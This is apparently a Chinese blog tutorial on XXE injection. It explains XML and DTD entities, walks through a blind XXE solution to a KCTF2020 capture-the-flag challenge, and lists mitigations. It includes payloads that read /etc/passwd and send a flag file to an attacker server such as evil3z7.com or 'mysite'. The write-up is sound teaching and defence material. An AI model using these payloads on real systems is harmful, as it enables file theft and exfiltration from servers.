0%

XXE 漏洞学习总结

最近在看 CTF 相关的内容,也过去看雪那边练了下手,毕竟现在 KCTF 秋季赛正火热进行中 🧐 。前菜 Web 题一般都是小试牛刀了,涉及到了 SSRF 和 XXE 。之前对于 XXE 也不是十分了解,结合实际题目还有网上资料做了一下加强学习,然后在这里简单的聊一下。

XML 基础

XML 全称为 Extensible Markup Language ,即可扩展标记型语言。XML 被设计为传输和存储数据,聚焦于数据的内容。其文档结构包括 XML 声明DTD 文档类型定义(可选) 以及 文档元素

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<!-- XML 声明 -->
<?xml version="1.0" ?>
<!-- 文档类型定义 -->
<!DOCTYPE note [
<!ELEMENT note (to, from, heading, body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>
]>
<!-- 文档元素 -->
<note>
<to>George</to>
<from>John</from>
<heading>Reminder</heading>
<body>Don't forget the meeting!</body>
</note>

所有的 XML 文档都由以下简单的构建模块组成:

  • 元素
  • 属性
  • 实体
  • PCDATA
  • CDATA
  1. 元素是 XML 文档的主要模块,可以包括文档、其他元素或者为空,如 <message>some message in between</message>
  2. 属性可以提供元素的额外信息,如 <img src="computer.gif" />
  3. 实体用于定义普通文本的变量,实体引用是对实体的引用
  4. PCDATA 是被解析的字符数据(parsed character data) ,这些文本将会被解析器检查实体以及标记
  5. CDATA 是字符数据(character data),这些文本将不会被解析。

DTD 文档类型定义 - Document Type Definition

DTD 用于为 XML 文档定义语义约束,负责定义 XML 文档的合法构建模块。

DTD 支持的数据类型有限,无法对元素和属性的内容进行详细规范,同时在可读性和可扩展性上也比不上 XML Schema 。

DTD 引用

DTD 可以在 XML 文档内声明,也可以在外部引用。

  1. 内部声明语法
1
<!DOCTYPE root-element [element-declarations]>

以上文的 XML 文档为例:

  • !DOCTYPE note 定义了此文档为 note 类型文档。
  • !ELEMENT (to, from, heading, body) 定义了 note 元素有四个子元素 to , from , heading , body
  • !ELEMENT to 定义了 to 元素为 PCDATA 类型,其余类似
  1. 外部引用语法
1
<!DOCTYPE root-element SYSTEM "DTD URI">

例子如下:

1
2
3
4
5
6
7
8
<?xml version="1.0"?>
<!DOCTYPE note SYSTEM "note.dtd">
<note>
<to>Tove</to>
<from>Jani</from>
<heading>Reminder</heading>
<body>Don't forget me this weekend!</body>
</note>

以下为引用的 note.dtd 内容:

1
2
3
4
5
<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>

一类比较特殊为公用 DTD ,其格式为

1
<!DOCTYPE root-element PUBLIC "DTD tag" "DTD URI" >

如 Spring 的配置文件:

1
2
3
<?xml version="1.0" ?>
<!DOCTYPE beans PUBLIC "-//SPRING/DTD BEAN//EN" "http://www.springframework.org/dtd/spring-beans.dtd">
...

DTD 实体

DTD 实体是用于定义引用普通文本或特殊字符的快捷方式的变量,提高代码的复用性。实体分为 一般实体参数实体 ,而且由于引用类型的不同,所以有以下四种分类。

一般实体引用通常是 &实体名 而参数实体引用一般是 %实体名

  1. 内部实体

这种格式只能在 XML 文档内使用,其声明方式为 <!ENTITY entity-name "entity-value"> ,引用方式为 &entity-name

  1. 内部参数实体

注意,该实体只能在 DTD 中引用,在 XML 文档中引用时,会被当做普通字符串而不会替换为相应的值。

声明方式为 <!ENTITY % entity-name "entity-value"> ,引用方式为 %entity-name

在内部 DTD 中使用时,实体值必须是完整的定义,否则影响 XML 文档的有效性,如

1
2
3
4
5
6
7
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE book [
<!ELEMENT book (#PCDATA)>
<!ENTITY % desc "<!ATTLIST book CDATA #FIXED 'aaa'>">
%desc
]>
<book name='aaa'>

如果是外部 DTD 中使用则没那么严格:
book.xml
1
2
3
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE book SYSTEM "book.dtd">
<book name="a" price="10">

book.dtd
1
2
3
4
5
<?xml version="1.0" encodig="UTF-8">
<!ENTITY % attrs "name CDATA #FIXED 'a'
price CDATA #FIXED '10'">
<!ELEMENT book (#PCDATA)>
<!ATTLIST book %attrs;>
  1. 外部实体

此类实体不在 DTD 中指定而是通过一个专门的文件来指定其值,其声明方式为 <!ENTITY entity-name SYSTEM "entity-value URI"><!ENTITY entity-name PUBLIC "entity-tag" "entity-value URI"> ,引用方式为 &entity-name

  1. 外部参数实体

其声明格式为 <!ENTITY % entity-name SYSTEM "entity-value URI"><!ENTITY % entity-name PUBLIC "entity-tag" "entity-value URI"> ,引用方式为 %entity-name

XML 外部实体注入(XXE)

XXE 攻击是许多基于注入的攻击方式之一,攻击者将 XML 文档中外部实体发送到应用程序中并使用 XML 解析器解析时就会发生这种攻击。

注入方式

常见的 XXE 注入方式有以下几种:

  1. 直接通过 DTD 外部实体声明
    xxe.xml
    1
    2
    3
    4
    5
    <?xml version="1.0"?>
    <!DOCTYPE a [
    <!ENTITY b SYSTEM "file:///etc/passwd">
    ]>
    <c>&b;</c>
  2. 通过外部引用引入 DTD 文档,再在 DTD 文档中声明外部引用
    xxe.xml
    1
    2
    3
    <?xml version="1.0"?>
    <!DOCTYPE a SYSTEM "http://evil3z7.com/evil.dtd">
    <c>&b;</c>
    evil.dtd
    1
    <!ENTITY b SYSTEM "file:///etc/passwd">
  3. 这一个有点绕,先通过内部声明中声明一个外部参数实体,然后再引用这个外部参数实体中的外部实体声明,再引用这个外部实体:
    xxe.xml
    1
    2
    3
    4
    5
    6
    <?xml version="1.0" ?>
    <!DOCTYPE a [
    <!ENTITY % d SYSTEM "http://evil3z7.com/evil.dtd">
    %d;
    ]>
    <c>&b;</c>
    evil.dtd
    1
    <!ENTITY b SYSTEM "file:///etc/passwd">

不同程序支持的协议

libxml2 PHP Java .NET
file file http file
http http https http
ftp ftp ftp https
php file ftp
compress.zlib jar
compress.bzip2 netdoc
data mailto
glob gopher *
phar

分析 KCTF2020 秋季赛“至暗时刻”的 XXE

题目的位置在这里,下面有详细的 WriteUP 。我们来看一下其中 XXE 的做法。

Writeup 在这里,单独分析 XXE 部分,这里仁叔用的是 BlindXXE :

xml.xml
1
2
3
4
5
6
7
8
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root[
<!ENTITY % file SYSTEM "classpath:///flag.txt">
<!ENTITY % remote SYSTEM "http://mysite/xml.dtd">
%remote;
%all;
]>
<root>&send;</root>
xml.dtd
1
<!ENTITY % all "<!ENTITY send SYSTEM 'http://mysite/%file;'>">

这里攻击者在 XML 文档中的 DTD 声明中引用了两个外部参数实体,其中一个是 flag 文件的地址,一个是远端自己服务器的 DTD 文档地址,再将外部 DTD 中的外部实体 all 也引用到内部声明中。因为 all 本身也是一个完整的实体声明(外部实体),因此可以在文档元素中引用。而地址 http://mysite/%file 会将 file 实体的内容回显出来从而得到 flag 。

防范措施

因为校验 DTD 中的 SYSTEM 标识符定义的数据并不容易也不太可能,大部分的 XML 解析器默认对于 XXE 攻击是脆弱的。因此最好的方法是 XML 解析器禁用外部实体而只使用本地静态的 DTD :

1
2
// php version
libxml_disable_entity_loader(true);
1
2
3
// java version
DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);
1
2
3
# python version
from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))

参考资料